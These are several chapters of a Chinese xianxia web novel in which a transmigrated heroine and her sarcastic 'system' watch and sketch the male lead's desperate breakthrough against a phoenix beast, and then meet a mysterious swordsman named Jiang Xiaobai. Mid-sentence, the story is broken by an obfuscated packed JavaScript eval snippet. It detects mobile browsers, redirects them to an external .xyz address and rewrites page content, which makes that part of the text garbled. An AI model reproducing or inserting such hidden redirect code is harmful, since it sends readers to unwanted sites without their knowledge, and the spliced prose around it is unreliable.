话虽如此余白还是越看越紧张,她这人一紧张就想吃东西,于是掏出了一包瓜子开始磕。 还随着他们的节奏变化,越危急磕得越多越快,一一会儿她面前就堆了一小山堆的瓜子壳。 可战况还在死死胶着。 齐昭用剑缠着雪明霜的鞭子,在白雉凰的翅膀要拍打在她的身上之前把她拽开。 雪明霜踩着树敢稳住身形,神情越发严肃。 “这样下去不行,他的速度很快,我们在速度上并不占太多优势,而且它的妖力很强,要是短时间不想办法解决掉它的话,我们会被它耗死的。” 这个道理齐昭也知道,他好几次想要近它身不是被它的火焰驱逐,就是被它的风力刮开。 雪明霜的攻击也对它不奏效,尽管她的灵力可以起到一定的压制作用,但强度不够,冰棱还没有刺过去便在中途被拍碎或者刮回来了。 齐昭也不是没想过把剑气再次附着在她的冰棱上形成冰剑,可他的灵力消耗太大,雪明霜也不一定能够再支撑这样大范围的攻击。 同时更为重要的一点是,凤凰是最忠贞的,它的伴侣一死,它也没有想过独活。 它不会权衡利弊,也不会中途放弃,它是抱着必死的决心要除掉他们的。 所以若是孤注一掷一击无法击中,那形式便再不可能逆转了。 齐昭闭了闭眼睛,将一颗丹药塞进了嘴里。 这是刚才余白给他的丹药,她一股脑全给了他,其中有一瓶破境丹并不是沈宿眠炼制的。 因为破境丹是七品以上的丹药,以沈宿眠的修为目前难以炼制这样高难度的,这应该是余剑尊留给余白突破用的。 只是这个丹药最低也得筑基以上修为才能使用,余白一直在练气徘徊暂时用不上,或者她压根就不知道这是一瓶破镜丹。 若非情况紧急,齐昭绝不会服用余白的丹药,可要对付这个陷入暴走的妖兽,突破方能走出一条生路。 这并不代表一定会突破成功,此时他灵力不足,也没有人帮忙护法,要从筑基巅峰冲击金丹并非易事。 齐昭也是在赌。 “雪师姐,请你帮我尽量争取一点时间。” 齐昭说着席地而坐,开始运转周天。 雪明霜感知到了灵力的异常波动:“你要干什么?” “冲击金丹。” “?!你疯了,这种时候……” “正是因为这种时候我才要这样做!” 齐昭神情坚定道:“师姐,现在已经没有别的办法了。” “你真是胡来!” 雪明霜咬牙甩动鞭子,冲过去将白雉凰往旁边引。 齐昭抓紧时间吸收破镜丹,同时又塞了一把固本培元的丹药在嘴里尽可能恢复灵力和体力准备突破。 雪明霜知道成败在此一举,她不遗余力的使用灵力,冰霜飞舞,秘境似一瞬入冬。 赤红如海的火焰又在下一秒将冰雪消融。 在冰火两重天的碰撞中,秘境升腾起了浓重的白雾。 这也是雪明霜的目的,利用雾气来隐藏身形。 但她忘记了,她手上还有白雉凤的妖丹。 白雉凰很快锁定了她的位置,用火焰将雾气驱散。 雪明霜也意识到自己因为妖丹暴露了,当机立断就把妖丹给扔了。 然而这一举动将白雉凰激怒了,它嘶鸣着往雪明霜攻去。 强大的威压把雪明霜压制在原地无法动弹,她死死咬住牙关,奋力将鞭子朝其打去。 白雉凰扇动翅膀,飓风把鞭子打了回来,雪明霜的手臂被鞭子抽得皮开肉绽。 余白看得紧张得都把瓜子壳都吃下去了。 啊啊啊齐昭在干什么啊,雪师姐都要被那个妖兽给打死了,他怎么还没好啊! 余白急得从芥子囊里翻找宝贝。 【宿主你干什么?我知道你急你先别急!这是男主的高光时刻,你不能乱来!】 “我知道,但是不怕一万就怕万一,万一齐昭突破失 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664705|172944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 败了呢,我不能见死不救!” 哪怕自己要是干涉了重要剧情这一年多她打卡得到的各种积分数值都要清空,她也不会……呜呜呜还是很心痛啊混蛋! 所以她更要让那个妖兽好看! 余秋离给她的宝贝很多,但是大多都是防身的,能让她使用的很少,谁叫她修为不够是个小趴菜。 她翻来找去找到了两三个能用的攻守皆宜的灵宝,眼看着雪明霜快要撑不下去准备踩着冰球嗷嗷冲过去的时候,齐昭终于动了! 谢天谢地,你终于动了! 一人一统激动地抱在了一起,一副比自己得救了还要高兴的样子。 【快,快打开画册,记录美好生活啊宿主!】 “哦对对对,打卡打卡。” 余白赶紧凝神提笔,灵笔艰难凝聚了一点灵力,艰难在画纸上游走。 【宿主你行不行啊,怎么那么慢?!知不知道名场面转瞬即逝啊!】 “催魂啊,我就一个练气我能画就已经很不错了!你嫌弃我你有本事你来啊,你个实体都没有的废物点心!” 【你你你!】 “我我我,我什么我?!嫌弃我画的慢为什么不给我一个手机,让我直接拍照拍视频不是更省事,再不济让我用留影石啊,非要我手动去画,真的是!” 提到这个就来气,余白之前求爹爹告奶奶求系统去找主系统申请个打卡用的手机,这样还原度高还省事,最好是把她的那个几百G学习资料的手机给传送过来,她认机。 结果给驳回了不说,还说她心不诚,非要她亲手记录。 系统自知理亏,不再哔哔赖赖了。 余白耳根子清净了,此时画面中齐昭将受伤几近昏迷的雪明霜一手抱着,一手执剑。 白雉凰吐着火焰,扇着翅膀,带起的飓风把赤红的火焰越扇越烈,整个秘境都笼罩在这刺目的红光里,把两人雪白的衣裳也染红如血。 不,不是染红,他们身上本来也受伤流血了。 这时候避无可避,只有迎上去。 雪明霜用尽最后一点灵力为齐昭做了一个冰障,这种程度只能隔绝三秒不到的火焰侵蚀。 决定胜负的时机只有三秒。 齐昭引剑,剑气将周围的白雾席卷,他站在风眼,怒喝一声劈开火焰,朝着白雉凰的脑袋挥砍! 哦哦哦这一幕,就是这一幕! 英雄救美,危境突破! 余白提笔,运气,泼墨挥洒! 只差最后一笔就神功告成…… 画面中齐昭斩开火焰,在只差临门一脚就要斩下白雉凰头颅的时候,灵力耗尽,“啪叽”一下从半空中摔了下来。 余白的收笔也啪叽一下歪了。 【滴,名场面已完成。】 【名场面收录中,评价中。】 【收录名场面英雄救美,危境突破。评价:恭喜宿主一顿操作猛如虎,获得绝丑CG两张哦,亲亲。】 余白:“……” 系统:【……】 8.第八章 长久的沉默后,一人一统都炸了。 “你这个系统有没有审美!我画工那么好,哪怕最后有那么一点小失误怎么可能评级是绝丑!” 【你别无理取闹好不好!这个评级是主系统评判的,跟我有什么关系?!虽然就算我来评判也是绝丑啦……啊现在不是讨论这两张丑图的时候,为什么齐昭会破镜失败?难道现在还不是最危急的时刻吗!】 按照原本的剧情,齐昭会突破成功,斩杀妖兽,现在他却灵力耗尽无法动弹了。 余白回想了下刚才的情况,发现自己遗漏了一条重要信息。 如果只是从练气到筑基,突破的时候并不会引起天雷,但到金丹则是真正踏入道途,会牵引雷劫。 金丹期一共有两次雷劫,一是金丹初期入道雷劫,二是巅峰突破元婴的跃升雷劫,前者通常落三道天雷,只要准备充分是完全能够顺利度过的,可刚才并没有雷落。 说明齐昭在突破中途放弃了。 本身他临危突破就已经很冒险了,现在放弃了必然被反噬,这才是导致他灵力枯竭,无法行动的原因。 这可是大事故,这已经都不是剧情崩坏那么简单了,这是男主都要一命呜呼了! “怎么办怎么办!要不再等等,会不会还有奇迹?比如剧情里所说的危境其实指的是现在!” 【没,没错,肯定是这样的!齐昭可是男主诶,他一定可以化险为夷,遇难成祥的,我们要对他有信心。】 “哈哈,当然啦。我当然对他有信心啦,那我继续蹲名场面了,刚才那两张作废,我这一次一定可以画出绝美成功的CG图的。” 一人一统互相安慰着,又同时陷入安静。 余白捏着笔杆迟迟没下笔,系统直勾勾盯着画面大气不敢出。 他们都在等齐昭小宇宙爆发,力挽狂澜。 一分钟过去了,齐昭忍痛站了起来,把雪明霜转移到了安全的地方。 两分钟过去了,他一人吃力抵抗着白雉凰的攻击。 五分钟过去了,齐昭头发凌乱,白衣染血,彻底倒在血泊里气若游丝。 白雉凰身上也有大大小小的剑伤,不过并没有伤到要害。 它张开血盆大口,喷出的火焰泣血,试图用不灭的真火将这个杀死它伴侣的人活活烧死。 “系统,我们还要等奇迹吗?” 【我,我也不知道,但是我们这时候冲过去也没用啊,主角都打不过,我们两个小卡拉米过去只能送死。】 是啊,系统说得对,她一个练气的废物点心过去除了送人头能干什么? 话虽如此,可是她的脚完全不听使唤啊! 余白踩着冰球狂贴极速符滚了过去,速度最快,把周围的白雾层层叠叠撞开。 眼看着距离那个妖兽越来越近,火焰也越来越大,余白害怕得发出一串鬼哭狼嚎的怪叫。 “啊啊啊我跟你拼了!” 齐昭听到动静努力掀开眼皮,模糊的视野里一个蓝白道袍的少女双腿轮出残影,手上抓满了符箓,哭丧着脸视死如归朝着白雉凰方向过来了。 “师妹,别过……” “来”字还没来得及说出口,就算说出口了也会被她壮胆的嚎叫给盖得严严实实。 余白踩着冰球冲进火焰里,冰球眨眼消融。 她被烫得龇牙咧嘴,还在她穿着避火法衣,还能再苟个十秒钟。 十秒能干什么?能让余白在脚下贴上起跳符,能让她在一跃而上到白雉凰头顶的时候“啪啪啪”狂贴起爆符。 能在白雉凰把她甩下去,朝她喷火的时候拿起上品法器青鸢逐月扇,使出吃奶的劲儿把火给扇回去。 这一套组合拳下来,看得系统目瞪狗呆。 【宿主,你,你好强。】 余白全部的灵力和体力都被刚才这一套组合拳,尤其是最后那一扇子给抽干了。 她喉咙发出赫赫的,类似破风箱的声音,对于系统的夸奖她无力地摆了摆手,哆哆嗦嗦拿起一瓶丹药往嘴里倒。 白雉凰此时被困在了自己的火焰里,发出凄厉的惨叫。 在短暂困住白雉凰后,余白一点都不敢掉以轻心,恢复了点体力后小跑着过去给齐昭身上贴了一个减重符,把人背了起来,途中还把雪明霜捡起来抱着,往身上贴了一堆极速符加飞行符就开跑。 背上的齐昭脑袋无力垂在余白的肩膀上,一头乌发被火燎卷烧糊了一截儿,掉在余白脸上毛毛糙糙的很不舒服。 可余白抱着雪明霜手又不得空,只得忍着。 雪明霜也和齐昭一样灵力耗尽没法动弹,不过意识比起齐昭要清醒一些。 她一脸复杂地看着一拖二极速逃命的余白,喉咙似被扼住了般发不出一个音来。 极速符和飞行符不是永久使用的,重量越大使用时间越短,她拖着两个人符箓消耗很大,在快要消耗完后她把雪明霜放下来,然后三下五除二撤掉身上失效的符箓,又一通在身上狂贴新的。 加上她已经有点脱力了,又拿出丹药往嘴里倒。 嚼吧嚼吧咽下去,伸手捞起雪明霜就要跑,发现雪明霜不知什么时候醒了,正直勾勾盯着她。 余白抱着她一边跑一边安抚:“别怕师姐,那个妖兽已经暂时被我甩到后面了,我有罗盘,我按照罗盘指示马上就可以走出秘境了。” 雪明霜长长的睫毛抖了下,想说什么,余光看到了从后面蔓延过来的火光后瞳孔一缩。 齐昭也感知到了。 “师妹,把我放下来,我还有一剑之力。你带着雪师姐离开。” 雪明霜冷声道:“别管我,你们先走,我是师姐我来断后。” “雪师姐,这次本身就是我邀你组队,如若不是我你根本不会遇到这种事情,于情于理都该我了了这桩因果,由我断后。” “你了了因果你倒是轻松,我呢?你想让我道心尽毁,生出心魔吗?” “师姐……” “你们都不要吵啦!决定权在我,要死一起死,我谁也不扔!” 你们一个男主一个女主,谁死了都不行啊! 可要是三个一起死也不行! 怎么办怎么办,还有什么办法破局?死脑,快想啊! “师妹,听话,快把我放下,那畜牲要追上来了!” “啊你不要说话,我在烧烤,不,思考!” 余白急得跟热锅上的蚂蚁一样一边跑一边思考破局的办法,“啪嗒”一声,好像踢到了什么东西。 金色的,发光的,啊,是那颗妖丹! 有办法了! 余白跑过去把妖丹捡起来,擦都没擦一下,在火快要烧过来之前把妖丹塞进了齐昭嘴里。 妖丹需要炼化成灵丹才能服用,不然妖力会和妖丹相撞,轻则经脉寸断,重则七窍流血而亡。 但齐昭是男主,他一定不会死……啊目前的情况也没什么说服力了,但他服用成功的概率比她们大。 反正都这样了,只能 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只是在此之前他必须要将妖丹炼化成灵丹,用灵丹的灵力冲击金丹境。 又是一场赌局。 赌是真火先一步焚烧他,还是他先借以外力炼化妖丹。 齐昭席地而坐,将灵力附着在皮肤上依次抵挡火焰侵蚀。 不过这只是杯水车薪。 他咬着牙关,忍受着火焰的炙烤,如刀的罡风切割□□的疼痛。 在血肉模糊,意识混沌之前,齐昭终于成功凝聚成了金丹。 “轰隆隆”,此刻天生异象,雷鸣电闪。 是天雷降临的前兆。 齐昭这样子是不可能抗下天雷的,他握紧灵剑,在雷落的瞬间将其引在剑上,然后如鞭一样打在白雉凰身上。 雷电的速度之快避无可避。 一道,两道! 最后一道! 齐昭用尽全身力气把最后一道天雷引到了白雉凰身上。 伴随着白雉凰染血的啼叫响彻云霄,和雷声的轰鸣,秘境终于归于平静。 它终于绝了气息。 整个山林所见之处都燃起了熊熊的业火,火光中齐昭手中剑无力滑落在血泊,他也虚脱倒了下来。 他以为这是自己的血,可在感受到那灼热的温度后他意识到这是白雉凰的血。 余光里那些血开始燃烧,从一条粗壮的火蛇变成一只赤色的火凤,把他席卷,吞噬。 凤凰泣血,浴火重生。 它捏碎了自己的妖丹用尽最后一点气力,将魂魄幻化成了索命的火焰。 齐昭知道跟凤凰一族沾亲带故的妖兽都不容小觑,只是他还是小看了它们的烈性。 宁为玉碎不为瓦全,好一个凤凰旁支,好一个白雉凰。 载在这样的畜牲手上不冤。 齐昭看向不远处余白她们离开的方向,意识越来越模糊。 不知道师妹她们成功离开了没有。 他这样想着,慢慢闭上了眼睛。 “唳——” 白雉凰发出最后一声痛苦的嘶鸣,预料之中的痛苦并没有到来。 围绕着齐昭周围的业火在肉眼可见消退。 齐昭惊愕地看去,在漫天的火光里一个玄衣少年衣袂翻飞,高高的马尾在烈烈的风中飘扬。 他手持桃木剑,剑指火凤,一斩。 一切在他轻描淡写的一剑中魂飞魄散,归于寂灭。 9.第九章 余白抱着雪明霜远离了战场,但并没有真的往出口跑去。 她找了一个相对安全的距离然后打开系统屏幕留意着那边的战况,果然主角就是主角,虽然前面出了一些岔子和意外,可在最后生死关头他不负众望地突破了。 可喜可贺。 余白和系统在看到齐昭突破的时候激动的都要掉小珍珠了。 盼星星盼月亮,终于盼到了主角的高光时刻! 余白赶紧找了一个干净安全的地方把雪明霜放下,又给她塞了一把丹药,然后拿出画册和灵笔。 雪明霜被丹药塞得腮帮鼓鼓,艰难咀嚼着,看到余白这时候还在作画,差点儿给噎着。 “咳咳,师,师妹,你这是在干什么?” “我在画齐师兄绝境突破,英雄救美,和白雉凰大战三百回合的绝美CG图呢!” 雪明霜:“……” 虽然不是很明白余白在说什么,但她看得出来余白在画什么。 不,准确来说是猜得到。 雪明霜突然感觉天旋地转,眼前一片火红飞舞,血腥味和灼烧感,让她眼冒金星。 这不是她太虚弱要晕倒了,是因为那幅画。 雪明霜后知后觉想起了余白好像是画修,天极宗之前就有传言说主峰正门贴着的那副辟邪图就是出自余白之手。 那副画雪明霜没见过,但听说凡是见过那副图的弟子都评价道——天极宗有此人才,未来一眼就望到了头。 雪明霜当时还不明白为什么他们会如此评价,现在她切身体会到了。 和之前那副日出天极宗的写意图不同,这副画蕴含着灵力,余白的灵力也和她的画一样邪乎,大约是因为灵力不多且不怎么纯粹,无法支撑她完成这样一副带有妖的戾气和杀意,以及修者的无畏和决绝的画作,因此她便采用了一切从简。 没有复杂的笔触,也没有丰富的构图和配色。 她把所有的灵力和精力都凝聚在了这两团红上,偏偏有着扰乱意识的能力。 好可怕的画!好可怕的师妹! 雪明霜此时本来就虚弱,再看下去恐有走火入魔的风险。 她强行让自己的视线从那幅画中抽离,然后凝神静气,开始运转周天平复神识。 余白丝毫没有觉察到自己的大作给雪明霜造成了这么大的困扰,手上动作越来越快,眼睛亮的出奇,一副沉浸在自己的艺术里不知天地为何物的模样。 系统也有些看不下去了。 【你能不能换个颜色,虽然他衣服被血染红了,但是都是红色谁分的清啊!】 【怎么分不清?一个那么大一个那么小。不过你说的也有道理,只是红色的话有点太单调了。】 于是余白又用黑色给齐昭把头发画上了。 【斯到普斯到普!你这加的是什么?还不如不加呢!都给人加成金毛狮王了!】 【他现在头发被烧得本来就是金毛狮王了,我这是严格按照你们系统规定真实记录,童叟无欺!】 余白一点都不想和这个不懂审美的系统说话,又刷刷的给齐昭头上加了两根烧卷的卷毛。 完美。 余白在这副画右下角署了名,取了个通俗易懂的名字《齐昭绝境突破之战损图:小红大战大红》,然后自信点击了提交。 也不等主系统那边给她做出点评,她又洋洋洒洒开始画第二幅。 结果刚画到一半,被天雷劈死的白雉凰浴火重生了! 这是什么打不死的小强? 而这个时候齐昭是真的无力招架,整个人像折断的树枝一样倒在血泊。 火焰幻化成火色凤凰,带着席卷天地的压迫感朝着齐昭扑了过来,在快要把人吞噬在业火的时候,变故出现了。 一个玄衣少年御空而来,一剑斩断了火凤的命脉。 即使是在高清屏幕放大了去看,在甚嚣冲天的火光里少年过曝得看不清五官,唯有那头被热浪扬起的马尾在风中烈烈。 少年手执桃木剑,玄衣雪肤,垂眼看向倒在血泊中奄奄一息的齐昭。 那眼眸似星,火焰在里面映照,又或者是他的眸光太耀眼。 余白只能在火光中看清他的眼睛,在燃烧,肆虐的张扬的,带着锐不可当的独属于少年人的桀骜。 他居高临下看着齐昭,看着芸芸众生。 在火光里,在苍穹之上。 余白看到这画面的刹那脑子空白了一瞬,一直叽叽喳喳对她进行绘画指导的系统也宕机了。 一人一统愣了几秒,然后一并发出了尖锐的爆鸣。 【啊啊啊啊好帅,这是谁!竟然比主角还要人前显圣!五分钟!我要知道这个人的全部信息!】 【哦哦哦哦燃起来了,灵感来了!我画我画我画画画!】 余白激情创造,不到一分钟便画完了。 画完之后准备提交的时候余白才反应过来。 虽然这个小哥的出场十分酷炫狂拽帅,可他到底不是主角,也不是什么主要配角,不符合打卡要求。 余白只能忍痛自己收藏了。 “余师妹……” 正沉浸在惋惜中的余白听到一旁雪明霜虚弱的声音后赶紧过去查看,发现她的脸色不仅没有恢复什么血色,反而更苍白了。 她吓了一跳:“雪师姐,你怎么吃了丹药情况还更糟糕了?” 难道是她刚才不小心把毒药塞给她了? 这下脸色苍白的是余白了,给吓得。 “师姐,你,你是不是中毒了?我不是故意的呜呜,你不要死啊!” 雪明霜有些哭笑不得:“没有我很好,没有中毒。” 余白吸了吸鼻子:“那你脸色怎么这么差?” 雪明霜沉默了,盯着少女红红的眼眶,最终还是没有说出实情。 “……失血过多而已,缓缓就好了不碍事。” 雪明霜压制住因为余白而紊乱的神识后支撑着身体站了起来。 “那头白雉凰至少在六品,齐昭一个人撑不住的,我们得过去帮他。” 这次雪明霜没有将余白放在一个被保护者的角度,尽管她的修为不高,但刚才若不是她不顾危险冲进来救下了她和齐昭,这时候他们两个都已经命丧白雉凰的火焰里了。 余白通过系统直播看到了齐昭已经脱离了危险,可雪明霜不知道,于是她也装作一副着急的样子扶着雪明霜,贴上极速符就往那边跑。 等过去的时候和画面看到的一样,齐昭倒在血泊中气若游丝。 雪明霜忙上去把人扶起来,又接过余白的丹药塞进了他嘴里。 齐昭吞下丹药,气息稍微没那么孱弱了。 “你们,怎么回来了?” “我们不回来难道要眼睁睁看着你死在那畜牲手里吗?” 雪明霜清丽的面容冷沉,对齐昭这种差点乱她道心害她生心魔的行为十分不满,还想要再训斥他几句,余光在瞥见不远处的一个玄衣少年后一惊。 雪明霜的感知力在整个天极宗算拔尖的,即使她现在受伤了也不至于连这么大一个人在旁边也觉察不到。 她神情一凝,将齐昭和余白护在身后,凝出一束冰棱。 “阁下何人?若是是冲着这头畜牲的妖丹来的尽管拿去,若是冲着杀人夺宝,我们身上的东西可以留下,但还请放我们一条生路。” 雪明霜看不出眼前人的深浅,也不知道他出自哪门哪派,师从何人,可光是能避开她的感知就可见实力不俗。 她们如果没有负伤倒不惧和他对上,偏偏此时她们三人两人重伤,一人……一人未来可期。 总之目前能避则避。 见那少年不语,只是把玩着刚新鲜出炉的妖丹。 雪明霜又道:“我们三人皆是天极宗弟子,我们若是身死,宗门会第一时间根据寂灭的命灯中留下的灵力锁定我们的位置。何况阁下既入秘境,必然也在百境堂有所登记……” 她没把话说尽,点到即止。 少年却笑了,那张普通得只能算清秀的脸因为这个有些邪气的笑容显得莫名的好看。 “你这是在威胁我?” 雪明霜皱眉:“阁下这是非要杀人夺宝了?” “夺宝?你们有什么宝好夺的?” 他视线在雪明霜还有齐昭被烧得破烂的衣服上扫了下,在看到身后的余白一顿,随即又很快移开。 “啧,还天极宗的弟子?天极宗好歹也是五大宗之一,门下弟子竟然弱成这样,连个六品畜牲都对付不了。还是说你们其实只是外门或者挂名弟子?那这样倒是情有可原了。” “你!” “雪师姐。” 齐昭朝着雪明霜摇了摇头,然后支撑着身体起来,对少年行了一个庄重的剑礼。 “多谢阁下出手相救,刚才若不是你一剑斩断了这畜牲的火脉我可能早就身陨在它的业火里了。” 少年冷哼了一声:“少给自己脸上贴金了,我杀它只是为了取它的妖丹。” 齐昭道:“这并不会改变你救了我的事实。我这条命说阁下救的,阁下要杀要剐悉听尊便,但是还请你放过我的师妹师姐。” 原以为少年至少会为齐昭这番话有所动容,谁知他脸色更臭了。 “你们一个 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在少年对齐昭出手的瞬间她们魂都要吓没了,余白二话不说就拿出青鸢逐月扇用力一扇。 桃木剑被飓风扇偏,少年也踉跄着后退了一步。 青鸢逐月扇是上品灵器,余白扇一下身体就跟被榨干了一样虚脱得眼冒金星,她忙拿扇子撑地上稳住要倒下的身体,杏眼瞪着少年,做出嚣张跋扈的姿态。 “竖子,休得无礼!我师兄师姐脾气好才同你好言好语,还真当我们怕你不成?他们低调,不愿意以背景压人,我可不惯着你。” 余白指着自己,清了清嗓子,说道:“你且听好了,我姓余名白,余是余秋离余剑尊的余,白是修真世家白家的那个白!没错,我就是余剑尊的第一二三……不知道多少代后人!还是唯一直系后人!所以你动手前最好掂量掂量,是这点灵宝重要还是你的命重要!” 刚才观察了下,知道这小子是个吃软不吃硬的,这种类型她应付起来最是得心应手。 太强硬了不好,给人逼急了就是适得其反了,得给他个台阶下。 她软了语气,又笑眯眯道:“当然,我相信你肯定不是那种贪图蝇头小利,目光短浅之辈。像你们剑修,最是不慕虚荣,毕生追求不过手中剑罢了。这个好办,作为老祖宗的后代,我手上最多的就是剑谱了,看在你救了我师兄的份上,我也送你一份剑谱吧。” 余白从芥子囊里掏了掏,太好的她不能给,太次的也不好糊弄,她选来选去,选了一本老祖宗之前神识入梦教她那本入门剑谱。 虽然简单了点,可上面有老祖宗的剑意,输入灵力就能看到全息投影版的老祖宗教学。 余秋离作为当今修真界活化石,所有剑修的狂热追捧者,能得他一句指点他们都会激动得涕泗横流,更别提是这种真人版教学了。 要是他悟性不错,可以参悟到老祖宗的一丢丢剑中真意,那更是前途不可限量。 余白将剑谱拿出来递给他,露出自信微笑:“给,这上面可是有余剑尊的剑意,拿回去悉心专研你一定会受益匪浅的。” 她不认为少年会拒绝,普天之下就没有哪个剑修拒绝得了这样的诱惑,至少她还没遇到过。 可让人意外的是少年从始至终都没有将目光放到那本剑谱上,他只是看着余白。 那双眼睛像是被点燃了般,露出了比业火还要灼热的眼神。 “你说你叫什么?” 懂了,这是被我的名头吓到了。 余白道:“余白,余秋离的那个余,白是……” “露从今夜白的那个白?” “呃,也是这个白。咋了,你不相信?” 余白伸手想去芥子囊掏命牌证明自己的身份,一阵剑风起,少年收回了那柄桃木剑。 这是收手,握手言和的意思? 余白松了口气,笑着对他露出一口大白牙。 “这就对了嘛,不打不相识。” “你知道我是谁吗就不打不相识?” “这不是还没来得及问吗。” 余白被他呛了也不生气,好脾气问道:“那你叫什么名字?” 少年没有立刻回答,依旧用那可以把人烧死的眼神盯着余白,余白觉得自己都要被烧穿了,浑身都不自在。 余白受不了了。 瞪我是吧,我也瞪你。 我瞪我瞪我瞪瞪瞪! “呵。” 他笑了声,道:“巧了,我的名字里也有一个白。” “我叫江小白。” 10.第十章 江小白? 哈哈哈哈江小白,怎么会有人叫这个名字啊。 不,这也正常,本来写这本小说的男同学就是现代人,给一个人路人甲取这么个名字也正常。 是的,路人甲。 刚才系统全文搜索了一遍都没有搜到眼前这位江小白仁兄的名字和相关剧情,其实这也是意料之中啦,毕竟对方这张脸放在美人如云的修真界里实在普通,不是路人甲就是炮灰啦。 余白顿时有一种同是天涯沦落人的感觉,对他生出了几分同情。 出场再酷炫狂拽帅有什么用呢,还是个路人甲命。 “江小白是吧,你好你好,初次见面多多关照。” 余白想着只是介绍自己不好,又把齐昭和雪明霜也介绍给了他。 “这是我师兄齐昭,这是我师姐雪明霜。” 江小白不咸不淡道:“你们好。” 虽然态度比较冷淡,但是比起之前一言不合就动手的样子要好太多了。 在确定了对方并没有再动手的打算,想来是忌惮于余白老祖宗余秋离,不过能化干戈为玉帛就是好事。 雪明霜将冰棱撤回,说道:“刚才多有得罪,在下只是关心则乱,还望阁下见谅。” 江小白不甚在意摆了摆手:“能理解,秘境杀人夺宝的事情多了去了,你们草木皆兵,以小人之心,度君子之腹也正常。” 这话说的,到底是真的理解还是在阴阳怪气。 雪明霜抿着薄唇,最终看在对方救了齐昭的份上按捺住了不悦。 齐昭上前打圆场,温声问道:“敢问江道友所属何宗,师承何处?今日救命之恩,我痊愈之后必当亲自登门备礼答谢。” 江小白无差别嘲讽道:“我无门无派,无名散修,不及齐道友宗主真传。” 齐昭没想那么多,以为自己无意戳到了对方的雷区,尴尬道:“抱歉。不过英雄不问出处,江道友看年龄和我相差无几,修为却已如此深厚,未来道途必定不可限量。” 江小白道:“修为深厚?我不过筑基,和齐道友这种已至金丹的少年天才可没法比。” “筑基?” 齐昭惊讶道:“怎么会?你刚才那一剑可不是筑基能有的水平。” 一剑切断火脉,这不单单需要精绝的剑术,还需要不俗的修为。 要说对方是筑基,齐昭实在难以置信。 江小白抱着手臂,语气似笑非笑:“是觉得我是一个筑基救了你一个金丹让你觉得面上无光,难以接受?” “没,你误会了,我只是有点意外……” 齐昭还是半信半疑。 江小白嗤笑道:“这就意外了?以后让你意外的事情还多着呢。” 雪明霜实在听不下去了,冷声道:“江道友,齐师弟说的这些话可是有哪里不妥,你说话为何如此夹枪带棒?” 江小白也冷了脸,那张清秀的面容格外有压迫感。 两人气氛剑拔弩张,快要一触即发,余白赶紧跑到中间做和事佬。 “哎呀,你们一个两个火气不要那么大吗?和气生财和气生财。师姐你还受着伤,快坐下好好休息疗伤,还有你,江小白道友,这剑谱你拿着,赶紧去钻研琢磨吧,错过了这个村就没这个店了,没准你看一下就能参悟其中真意,直接突破筑基达到金丹呢。” 江小白拿着手上的入门剑谱,看着少女一脸老好人的样子就来气。 他下颌紧绷,在余白以为对方也要怼她几句的时候,他甩了下衣袖,转身径直离开了。 那马尾在空中来回摇摆了几下,又停下。 江小白回头,冷冰冰道:“还不跟上?难道你们真的心大到在这种地方休息疗伤?” 刚才他们跟白雉凤它们打斗的动静之大,估计整个秘境的修者都觉察到了,而且血腥味也会引来附近的妖兽。 余白立刻明白了,这是要带他们去安全的地方疗伤。 还以为是个刺头呢,结果是个傲娇。 余白笑眯眯跟上去。 齐昭和雪明霜互相对视了一眼,也拖着受伤的身体,坠在了两人身后,保持着一个攻守皆宜的距离。 江小白余光瞥了他们一眼,扯了扯嘴角。 这还是在防备他呢。 这也正常,在这个弱肉强食的修真界谁会对只有一面之缘的人放下戒心。 “江小白,你多大啊,看着好像跟我差不多?我十六了,你呢。” “……” 这傻白甜除外。 江小白不是很想搭理余白,加快了脚步想要把人甩开。 可是她却贴上极速符追了上来。 “哇,不愧是剑修,走路都这么快。你还没回答我呢,你多少岁呀?十七,十八?” 江小白忍无可忍:“十六。” “好巧,你不光名字和我有点像,连年纪都一样。我三月的,你几月?” 他又不说话了。 余白不死心又问了几遍,发现他跟锯嘴葫芦似的,瘪了瘪嘴。 “真是的,这么惜字如金,刚才怼我师兄师姐的时候不是挺口若悬河的吗?双标。” 余白其实并不算是个自来熟,她是挺E的,但是她不是对谁都那么E,她比较看眼缘。 这个江小白的名字让她很有亲切感,有种家的感觉,还有给人的感觉也似曾相识,加上他还救了主角一命,就等于救了她这个路人甲一条狗命,她对他的印象还是不错的。 最重要的一点,她们都是路人甲。 只是这个路人甲有点高冷,让余白这个E人都有点暖不了场子了。 好在很快他们就到达了目的地—— 一个布有法阵的山洞。 余白不是很懂阵法,齐昭却略懂一二。 这个阵法是很简单的隔绝阵法,用来隔绝气息隐匿身形的,难度也就是中低等,但江小白的阵法虽简单却十分精准。 不论是阵眼的位置,还是灵力的控制,都不是寻常散修可以做到的。 进入山洞后齐昭还发现这里有居住过的痕迹,这不是一两日,应该有一段时间了。 齐昭问道:“冒昧问一下,江道友来此方秘境多久了?” 江小白随意找了个位置坐下,支着头翻阅着余白给她的那本剑谱,回答道:“进来快一个月了。” “这么久?” 余白惊讶极了。 凤梧秘境很大,根据难度高低排名中心圈最难,其次是中圈,外圈。 他们这次进来的是外圈和中圈之间,这里大多都是筑基到金丹修为的修者的活动范围。 他们这次揭的任务在算比较难的了,可时限最多也不过六日,江小白却进来了快一个月,这是什么任务要花费那么久的时间? 齐昭和雪明霜也很好奇,只是从刚才的接触下来她们明显可以感觉到对方对他们并不待见,这很正常,修真界的修士也分三六九等。 大宗修士,修真世家的修士地位高于其他正统修者,正统修者的地位又高于无宗散修,也因此形成了一条鄙视链。散修经常被他们看不起,受到过不少不公平的对待,同为散修的江小白看不惯他们也情有可原。 因此他们再好奇也还是没有开口询问。 余白脑子里没那么多弯弯绕绕,她直接问了。 “你揭了什么任务,很难吗?完成了吗,还是还要继续在这里待着做任务?” 齐昭他们以为少年会无视余白,又或者反唇相讥,意外的是他竟然回答了。 